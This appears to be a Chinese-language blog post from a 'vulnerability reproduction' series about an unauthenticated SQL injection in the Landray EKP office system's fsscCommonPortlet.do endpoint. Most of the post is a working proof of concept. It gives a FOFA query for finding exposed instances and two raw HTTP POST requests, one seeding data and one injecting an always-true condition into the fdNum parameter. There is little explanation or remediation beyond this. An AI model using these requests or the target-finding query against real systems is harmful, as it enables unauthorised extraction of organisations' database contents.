蓝凌EKP系统fsscCommonPortlet.do存在未授权SQL注入漏洞

最新推荐文章于 2025-04-29 17:12:59 发布

0x大先生

最新推荐文章于 2025-04-29 17:12:59 发布

阅读量468

点赞数 2

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签： sql 网络

本文链接：https://blog.youkuaiyun.com/user_hs/article/details/144820856

漏洞复现专栏收录该内容

27 篇文章

订阅专栏

蓝凌EKP系统fsscCommonPortlet.do存在未授权SQL注入漏洞

蓝凌EKP系统fsscCommonPortlet.do存在未授权SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息。

fofa

app="Landray-OA系统"

poc

访问save方法，填充一下数据库

POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

method=saveICare&fdId=&fdNum=1&docSubject=1&fdName=1&createTime=1&fdStatus=1

POST /ekp/fssc/common/fssc_common_portlet/fsscCommonPortlet.do HTTP/1.1
Host: 
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

method=getICareByFdId&fdNum=asdasd'+or+'1'='1&ordertype=down